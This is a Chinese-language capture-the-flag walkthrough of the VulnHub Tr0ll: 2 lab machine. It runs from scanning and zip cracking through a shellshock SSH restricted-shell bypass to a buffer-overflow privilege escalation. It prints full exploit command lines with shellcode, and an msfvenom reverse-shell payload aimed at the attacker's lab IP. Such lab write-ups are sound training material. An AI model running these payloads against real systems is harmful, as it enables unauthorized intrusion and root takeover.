nmap扫描---->dirb扫描发现robots---->dirb配合找到的字典爆破目录---->访问目录下载图片---->strings考察图片,发现新目录y0ur_self---->访问y0ur_self目录,获得字典answer.txt---->弱口令登录ftp---->用fcrackzip爆破lmao.zip密码---->通过密钥ssh登录,得到noob用户的shell---->linpeas.sh探测提权途径---->利用缓冲区溢出漏洞提权
环境信息靶机ip为192.168.101.33
攻击机ip为192.168.101.34
具体步骤 步骤1:nmap扫描sudo nmap -sS -A -p- 192.168.101.33
扫出了3个开放端口,21(ftp),22(ssh),80(http)
其实从上图的扫描结果就可以看出来,21端口的ftp服务是不允许匿名登录的,如果允许的话,会有提示(比如见vulnhub Tr0ll: 1_箭雨镜屋-CSDN博客)
如果不死心,可以用浏览器访问一下 ftp://192.168.101.33,可以看到弹出了登录框
访问网站发现主页还是除了这个倒霉玩意儿啥也没有
不死心,看一下网页源代码,似乎有那么一点信息,Tr0ll也许是个用户名
只好用dirb扫描一下,期待能扫出点什么
dirb http://192.168.101.33
扫描结果如下,扫出了robot.txt
浏览器访问 http://192.168.101.33/robots 发现好多目录
把上图中这些目录复制粘贴到文件/home/kali/Desktop/paths中,做成目录字典
用dirb配合该字典爆破
dirb http://192.168.101.33 /home/kali/Desktop/paths
爆破结果如下,有4个目录是可访问的
这4个url每个我都访问了一遍,每个都是这张图
查看网页源代码的话,可以发现其实并不是同一张图片,是dirb爆破出来的四个目录每个目录下都有一个图片
把这4张图片都下载下来备用
步骤5:用strings命令考察图片,发现新目录y0ur_self用下面的命令查看每张图片
strings 图片名
其他三张都没啥,dont.jpeg有意思,有一句用户友好的提示
“Look Deep within y0ur_self for the answer”
既然我已经玩过tr0ll 1了,我就知道这是什么套路了,y0ur_self保准是个目录
步骤6:访问y0ur_self目录,获得字典answer.txt用base64命令解码一下,生成明文字典answer2.txt
cat answer.txt | base64 --decode > answer2.txt
80端口似乎暂时没啥好看的了,试试登录ftp。虽然拿到个字典有可能包含用户名和密码,但是字典规模超级大,有快10万行,能省时间的话,还是先试试省时间的方法。
步骤2中说过,网站首页有一个信息,Tr0ll,目前为止还没用到,这边试试能不能用它登录ftp。
用户名和密码都用Tr0ll试试,成功登录
有一个压缩文件lmao.zip,下载备用
尝试打开lmao.zip,发现需要密码。可能密码就在由answer.txt解码生成的answer2.txt中。
fcrackzip是专门用来破解zip文件密码的工具。
安装fcrackzip
sudo apt install fcrackzip
用fcrackzip破解lmao.zip密码(快得不得了,速度惊到我了)
fcrackzip -D -p answer2.txt lmao.zip -u
密码是 ItCantReallyBeThisEasyRightLOL
解压出来一个叫noob的文件,是一个PEM格式的RSA私钥,留着备用
既然这个私钥文件叫noob,那合理猜测用户名就是noob。尝试ssh登录
ssh -i noob noob@192.168.101.33
从结果来看,用户名和密码应该是对了,但是连上之后立刻就被断开了。
像是skytower靶机的情况,和那个一样加个-t参数试试
ssh -i noob noob@192.168.101.33 -t "/bin/sh"
不行了,难度增加了
绕过Linux受限Shell环境的技巧 - linuxsec - 博客园
在这篇文章的高级绕过技术里面找到几个ssh的绕过技巧,尝试之后发现利用shellshock绕过是可行的
ssh -i noob noob@192.168.101.33 -t "() { :; }; /bin/bash"
得到noob用户的shell
首先在当前shell下观察一下,查看一下.bash_history文件,发现曾经执行过好几个操作名叫bof的文件的命令,这个有可能是在提示本关要利用bof(缓冲区溢出)进行提权。另外,下图所示的gdb是一款linux系统下的调试器,因此下图可能也在暗示使用gdb来调试有bof漏洞的程序。
目前还看不出来缓冲区溢出漏洞具体在哪儿,先走一遍程序,linpeas跑一遍。
攻击机上开http服务
sudo python2 -m SimpleHTTPServer 80
靶机当前shell下用wget命令下载linpeas.sh到noob用户有写权限的目录,比如/tmp或者其家目录
wget http://192.168.101.34/linpeas.sh
用chmod命令赋予linpeas.sh执行权限
chmod +x linpeas.sh
执行linpeas.sh之后,得到的结果中有SUID权限的文件包含下面三个奇奇怪怪的
这三个door下面的r00t文件是三个不同的可执行文件,并且一段时间之后,这三个文件的作用会轮换。
其中一个执行之后会退出ssh
一个执行之后会有2分钟的困难模式,困难模式中不能ls
还有一个是可以被用来提权的。
为了避免进入不对的门,可以用od -S 1来查看文件中包含的可读字符串。比如
od -S 1 /nothing_to_see_here/choose_wisely/door2/r00t
结果中没有上两图的提示语,包含bof.c,可知这个就是需要利用的文件。
进一步,可以用下面的命令来确定是不是我们要找的r00t文件
od -S 1 /nothing_to_see_here/choose_wisely/door2/r00t | grep bof
步骤11:利用缓冲区溢出漏洞提权
靶机shell中输入如下命令,开始用gdb调试r00t
gdb /nothing_to_see_here/choose_wisely/door3/r00t
进入gdb后,执行如下命令,其中r表示run,该命令表示执行r00t并以500个A作为入参
(gdb) r $(python -c 'print "A"*500')
结果如下图所示,0x41是A的十六进制ascii码,说明有缓冲区溢出
接下来需要知道哪4个字节覆盖了EIP。
首先在攻击机上查找pattern_create.rb文件
find / -name pattern_create.rb -type f 2>/dev/null
结果如下
执行如下命令,用pattern_create.rb生成长度为500字节的每4个字节都不一样的字符串
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500
运行r00t,以刚刚生成的字符串作为入参
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
从结果可见,占着EIP的是 0x6a413969
用 pattern_offset.rb 来确定0x6a413969在入参中的位置
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 500 -q 6a413969
结果是前面有268个字节
gdb中输入如下命令验证以上结论。运行r00t,入参是268个A和4个B
(gdb) r $(python -c 'print "A"*268+"B"*4')
EIP是0x42424242,0x42是B的十六进制ascii码。因此,以上结论正确。
执行以下命令,查看寄存器的值
(gdb) i r
从下图中可以看到ESP中的地址是0xbffffb80。
执行如下命令可以查看该地址指向的值。
(gdb) x 0xbffffb80
先后执行如下三个命令
(gdb) r $(python -c 'print "A"*268+"B"*4+"C"*8')
(gdb) i r
(gdb) x 0xbffffb80
从结果可知, 0xbffffb80(ESP)指向的内存被字符C占了
接下来找坏字符。
某大神传授了一个方便的工具badchars。
先用以下命令安装badchars
pip install badchars
然后创建个软链接
sudo ln -s /home/kali/.local/bin/badchars /bin/badchars
再执行
badchars
就可以输出从1~255的十六进制字符
用这些字符替代入参中的C
(gdb) r $(python -c 'print "A"*268+"B"*4+"\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"')
输入
(gdb) i r
找到esp的值
再输入以下命令查看esp指向的值以及附近的值
(gdb) x/100xb 0xbffffa70
结果中可见从1~8是正常的,\x09的位置变成了\x00,这表示\x09是个坏字符。
入参中把\x09删掉,重新执行,直到找出所有坏字符。
所有坏字符包括\x00\x09\x0a\x20
接下来构造shellcode,用msfvenom生成反弹shell,LHOST是攻击机ip,LPORT是攻击机监听的端口,并用-b选项去掉坏字符。
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.101.34 LPORT=2333 -b "\x00\x09\x0a\x20" -f py
整理完shellcode之后,我就属实不会了。因为之前看的资料是要找JMP ESP,这个靶机好像不是这么玩的。
看了vulnhub上好几个writeup,给出的payload中使EIP的值为0xbffffb80,但我试了不管是我生成的shellcode,还是writeup中自带的都不能成功。也就是说,下面这样是成功不了的
noob@Tr0ll2:~$ /nothing_to_see_here/choose_wisely/door2/r00t $(python -c 'print "A"*268+"\x80\xfb\xff\xbf"+"\x90"*16+"\xdb\xd5\xd9\x74\x24\xf4\x5a\xbe\x7b\x97\xf5\xb7\x2b\xc9\xb1\x12\x31\x72\x17\x03\x72\x17\x83\x91\x6b\x17\x42\x54\x4f\x2f\x4e\xc5\x2c\x83\xfb\xeb\x3b\xc2\x4c\x8d\xf6\x85\x3e\x08\xb9\xb9\x8d\x2a\xf0\xbc\xf4\x42\xc3\x97\x62\xb0\xab\xe5\x6c\xbd\x36\x63\x8d\x0d\x2e\x23\x1f\x3e\x1c\xc0\x16\x21\xaf\x47\x7a\xc9\x5e\x67\x08\x61\xf7\x58\xc1\x13\x6e\x2e\xfe\x81\x23\xb9\xe0\x95\xcf\x74\x62"')
我不清楚难道这是因为我用的VMware版本,而writeup作者们用的难道都是virtual box版本么?
后来我看到一个writeup有点不一样
Tr0ll: 2 Walkthrough - You Gotta Pay the Troll Toll
还从这个writeup里面发现一个充满shellcode的网站
Linux/x86 - execve /bin/sh shellcode - 23 bytes
总之,这个writeup使用了env命令(env -是env -i的缩写),并且使EIP的值为0xbffffc80。我试了他的payload是可以成功的,直接原地提权
env - /nothing_to_see_here/choose_wisely/door3/r00t $(python -c 'print "A"*268 + "\x80\xfc\xff\xbf" + "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
后来我用这种方法又试了我自己的shellcode,也是可以成功的,得到反弹shell
noob@Tr0ll2:~$ env - /nothing_to_see_here/choose_wisely/door2/r00t $(python -c 'print "A"*268+"\x80\xfc\xff\xbf"+"\x90"*16+"\xdb\xd5\xd9\x74\x24\xf4\x5a\xbe\x7b\x97\xf5\xb7\x2b\xc9\xb1\x12\x31\x72\x17\x03\x72\x17\x83\x91\x6b\x17\x42\x54\x4f\x2f\x4e\xc5\x2c\x83\xfb\xeb\x3b\xc2\x4c\x8d\xf6\x85\x3e\x08\xb9\xb9\x8d\x2a\xf0\xbc\xf4\x42\xc3\x97\x62\xb0\xab\xe5\x6c\xbd\x36\x63\x8d\x0d\x2e\x23\x1f\x3e\x1c\xc0\x16\x21\xaf\x47\x7a\xc9\x5e\x67\x08\x61\xf7\x58\xc1\x13\x6e\x2e\xfe\x81\x23\xb9\xe0\x95\xcf\x74\x62"')
不过虽然成功了,我的心中还是有大大的疑惑,我不懂怎么就成功了。 0xbffffc80是怎么来的呢?
他先用env - gdb ./r00t进入调试,然后清除了当前环境变量,再
(gdb) run $(python -c 'print "A"*268 + "BBBB" + "\x90"*16 + "C"*100')
此时ESP的值便是0xbffffc80
可是为什么是100个C呢,不明白!!!
而且我的环境上如果清楚环境变量就不是0xbffffc80了,不清除反而是0xbffffc80。
我也试了其他的地址,都不能成功。
啊,真奇怪,希望以后能完全弄明白。